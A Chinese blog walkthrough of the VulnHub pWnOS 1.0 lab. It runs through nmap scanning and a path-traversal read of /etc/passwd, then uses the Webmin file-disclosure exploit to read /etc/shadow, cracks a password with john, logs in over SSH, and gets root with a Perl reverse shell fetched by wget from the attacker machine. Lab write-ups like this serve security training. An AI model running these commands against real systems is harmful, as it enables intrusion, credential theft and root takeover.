目录
写在开头
第一步:主机发现与端口扫描
第二步:Web渗透
第三步:webmin文件泄露漏洞利用
第四步:ssh登录获得初始立足点
第五步:提权
总结与思考
本篇博客根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。本文的打靶过程涉及到关于文件包含漏洞、webmin任意文件泄露、john密码破解、perl反弹shell等。完整打靶思路详见:
「红队笔记」靶机精讲:pWnOS1.0 - 在Perl CGI架构下构造反弹shell,你可以吗?_哔哩哔哩_bilibili
本文针对的靶机源于vulnhub,详情见:
pWnOS: 1.0 ~ VulnHub
靶机下载链接见:
https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip
下载成功后用vmware打开,跳出提示框请选择“我已移动虚拟机”,然后设置为NAT模式,否则无法扫描到靶机!靶机启动后的界面如下:
依旧是常规思路,有关主机发现和端口扫描的命令详见我的这篇博客中关于nma:
渗透测试:主机发现和端口扫描的思路方法总结(nmap+ping命令+nc.traditional+伪设备连接)
ip a查看kali攻击机的ip,是10.10.10.128,然后开始进行主机发现,对所在网段进行主机发现,命令如下:
nmap -sn 10.10.10.0/24
成功发现了主机,是10.10.10.130,然后进行全端口扫描:
nmap --min-rate 10000 -p- 10.10.10.130
开放的端口是22,80,139,445,10000,我们查看这些端口开放的服务版本和操作系统,命令如下:
nmap -sT -sV -O -p22,80,139,445,10000 10.10.10.130
然后进行UDP全端口扫描,时间可能较长:
nmap -sU --min-rate 10000 -p- 10.10.10.130
UDP开放了端口137和10000。最后进行漏洞脚本扫描,时间可能较长:
nmap --script=vuln -p22,80,139,445,10000 10.10.10.130
漏洞扫描发现了一些漏洞,包括80端口的一些目录信息,10000端口还存在Webmin File Disclosure文件泄露漏洞,应该可以利用,我们一会进行尝试。
因为开放了80端口,我们首先浏览器访问靶机ip试试,如下:
也没啥太多东西,点击Next试试:
注意到url中多了两个参数,这个页面说,本页面是官方的帮助页面,如果你是个菜鸟,可以输入你的信息以获得一些提示。name我们随便输个aaa,然后skillz有三个选项(菜鸟,有技巧的菜鸟,高级黑客),我们先选菜鸟,点击Please Help试试:
靶机骂我们!说我们很suck。注意到url也改变了。那么我们重新选择自己是sk1ll3d n00b,然后name试试sql注入语句' or 1=1 # ,这回的结果如下图:
再试试说我们是高手,也是基本一样的提示。
感觉没有得到什么提示,页面中显示的内容在后端应该只是做了一个字符串拼接,并不能给我们什么提示信息。不过url中有很多参数,我们可以试试是否存在sql注入和文件包含。可以将参数的值修改为单引号'试试有没有变化:
没啥变化,而且可以看到页面的回显添加了\,对单引号做了转移,那我们再试试有没有文件包含,我们将参数的值添加../../../../../etc/passwd尝试读取passwd文件,很遗憾也没能成功。最后回到填写表单的url中,将url中的connect参数赋值为../../../../../../../etc/passwd,成功读取到了passwd:
看来存在文件包含,那我们再试试能不能读取shadow文件:
果然没那么简单,权限不够。还是分析一下passwd文件吧,首先用curl范围一下,方便查看:
curl 'http://10.10.10.130/index1.php?help=true&connect=../../../../../../../../etc/passwd'
重点关注有bash环境的最后四个账号。不过现在我们也没有什么密码,看了这个passwd也没有太多思路。由刚才nmap的漏洞扫描脚本可得到web的三个子目录index,icons,php,我们依次访问,可以看到一些目录下的一些文件,其中php子目录下还有个phpMyAdmin,我们点击试试:
发现访问admin需要密码,随便试试弱口令发现失败了。
最后跳转到了一个登录失败的页面,暴露了phpMyAdmin的版本2.6.3-pl1,说不定一会可以利用。
我们简要浏览过了web的80端口,大概就是这么多信息,下面再看看10000端口,发现是个webmin的登录界面
经过对登录框的简单尝试:弱口令、sql注入,都无法登录,提示登录失败。
回想起第一步进行漏洞脚本扫描的时候,发现webmin存在可以利用的webmin文件泄露漏洞,我们这里可以进行尝试。首先用searchsploit搜索webmin漏洞:
searchsploit webmin
结果搜出了很多,看似眼花缭乱不知所选,其实是有思路的。首先我们要选择的是webmin的漏洞,排除前三条。另外我们尽量不选择Metasploit的利用方式,据红队笔记大佬说,Metasploit好比一个黑盒,我们看不到执行的过程,不利于学习渗透。其次需要认证Authenticated的漏洞我们也不选,因为此时我们都不知道如何登录webmin。CSRF的漏洞优先级较低,也先不考虑。结合之前nmap漏洞脚本扫描的结果,我们应该侧重选择文件泄露相关的漏洞Arbitary File Disclosure,1997和2017应该都可以,这俩只是编程语言的不一样。我们就选择perl编写的2017.pl吧,吧2017.pl下载下来。
searchsploit webmin -m 2017.pl
看一下怎么利用,利用格式是2017.pl
我们选择的target应该是http,即参数0,仿照Example,我们可以尝试读取/etc/passwd文件试试:
perl 2017.pl 10.10.10.130 10000 /etc/passwd 0
果然存在文件泄露,我们成功读取了passwd,不过这个passwd文件我们已经在第二节web渗透中通过文件包含漏洞看到了。这里正好可以验证一下与文件包含的passwd是一致的。读取passwd没啥了不起的,关键是能不能读取到存放密码哈希的/etc/shadow,因此我们再用perl的任意文件泄露漏洞利用脚本试试读取etc/shadow,命令如下:
perl 2017.pl 10.10.10.130 10000 /etc/shadow 0
非常nice,连shadow文件都能看到了,不愧为“任意文件泄露”漏洞。那我们把最后四个账号以及开头的root账号所在行copy到一个文件中,命名为hash:
然后使用john进行密码破解。在vulhub靶机中涉及到密码破解的地方,通常都使用rockyou字典,这是靶机制作者为了给我们节省时间的操作,不过实际渗透测试中密码破解的过程可能非常长,也和字典的选取强相关。这里的命令如下:
john hash --wordlist=/usr/share/wordlists/rockyou.txt
等待良久(破解的过程非常占用cpu,我电脑的风扇呼呼的响),可以破解得到vmware账号的密码是h4ckm3
然后我就没再等了,既然已经拿到了一个账户vmware,我们就企图ssh登录即可。
ssh登录的时候报错提示说没有匹配的host key,老问题了,首次遇到这个问题是在红队打靶:LampSecurity:CTF4打靶思路详解(vulnhub)
我们添加参数,命令为:
ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss [email protected]
输入密码h4ckm3后成功登录了vmware的账号,此时获得了初始立足点,接下来就是研究如何提权,首先sudo -l并输入密码查看当前用户权限:
很遗憾,用户vmware无法运行sudo,这条路走不通,看看有没有计划任务吧:
计划任务没什么可以利用的。在vmware账号的许多目录搜索了一些文件啥的,很遗憾,也没找到什么有用的敏感信息,只能另寻他法。
回想到第三步,利用webmin的文件泄露漏洞,我们读取了shadow文件。而读取shadow文件需要root权限才可,因此相当于这个webmin的任意文件漏洞可以导致攻击者以root权限读取文件。那么如果我们能够上传一个包含反弹shell命令的payload,然后利用这个任意文件泄露漏洞,就能以root读取并运行shell。
首先我们先构造反弹shell的payload,这里选择使用perl的payload,因为webmin就是perl搭建的,kali中自带的perl类型的反弹shell在usr/share/webshells/perl/perl-reverse-shell.pl,我们把他复制下来,重命名为shell.cgi。之所以要将后缀名改为.cgi,我的理解是要将perl语言的代码改写为执行文件,如果不修改后缀名的话,用2017.pl的exp只能以root权限读取shell.pl,而无法执行shell.pl,也就无法反弹shell。
cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgi
然后vim修改这个shell.cgi文件,将反弹shell的ip修改为kali的ip,端口设置为1234:
修改完成后我们要将这个文件下载到靶机上。先在kali中开启一个http服务,我这里用php搭建,也可以用python:
php -S 0:80
回到vmware的shell,通过wget的方式获取kali中的shell.cgi文件,命令中的ip为kali的ip
wget http://10.10.10.128/shell.cgi
kali中开放的http服务显示如下:
靶机成功在/home/vmware目录下载了shell.cgi。不过此时的shell.cgi还没有执行权限,我们添加执行权限:
chmod +x shell.cgi
下面我们在kali中另起一个终端,开启一个nc监听:
最后通过第三步的任意文件泄露漏洞利用脚本,触发shell.cgi执行,命令如下:
perl 2017.pl 10.10.10.130 10000 /home/vmware/shell.cgi 0
执行成功了,注意看,上图中并没有回显shell.cgi的文件内容,而是出现了执行成功的一行语句:Browser IP addresss appears to be:10.10.10.128。回到刚才nc的监听端口,成功拿到了root权限的反弹shell,提权成功:
至此打靶成功。
靶机打靶就完成了,总体来看这个靶机也并不复杂,思路环环相扣,每个步骤都有明显的逻辑。核心是从webmin的任意文件读取漏洞入手,读取了shadow文件,成功登录ssh。并想到既然webmin的这个漏洞可以读取shadow文件,那么这个漏洞利用是具有高权限的,可以用于提权。
在进行提权时,我之前一直有疑问,为什么要用perl脚本构造反弹shell的payload?为什么还要改名为.cgi?我直接在靶机中添加有执行权限的php一句话反弹shell的代码shell.php不行吗?我试了试,确实不行。如果是shell.php,那么用2017.pl脚本漏洞利用的时候,仅仅能够以root权限读取shell.php,而不能够以root权限执行shell.php,或许这就是必须要使用.cgi的原因。有关.cgi文件读取可以直接执行这一点,其实我还是没有太清楚,还需要通过今后的渗透学习慢慢加强理解。
最后做个打靶总结:
1.主机发现和端口扫描:常规思路,根据漏洞脚本扫描的结果,重点关注80和10000端口。
2.Web渗透:到处翻找,观察url参数,可能存在文件包含,成功读取了/etc/passwd。
3.Webmin任意文件读取漏洞利用:nmap的扫描给了我们提示,查找webmin的漏洞,最终成功读取/etc/shadow。
4.哈希碰撞破解密码,用john破解第三步的得到的密码哈希,成功拿到了vmware用户的密码。ssh登录成功
5.提权:在vmware账户搜索一番无果后,回想到第三步的漏洞利用过程,既然能读取shadow文件,说明具有root权限。可以再次利用这个漏洞提权。在靶机上传可执行的反弹shell文件shell.cgi,并用Webmin任意文件读取漏洞利用读取并执行这个shell.cgi,即可以root权限触发反弹shell指令,相当于实现了提权。
打靶的过程常常发现自己思路卡住,纯菜鸟一个。一个简单的问题卡好久是常事,感觉自己是真垃圾,再加上读研压力,近期又需要速成好多技能,感觉头很大。还是应该放平心态,学习渗透不是一天两条就能成就的事情,每天掌握点新技能,进步一点点就足够了。
如果读者觉得我写的还不错的话,恳请点赞关注多多支持。正好近期我可能要狠学一波渗透,会及时把自己的打靶过程和渗透技巧分享出来,希望大家多多支持。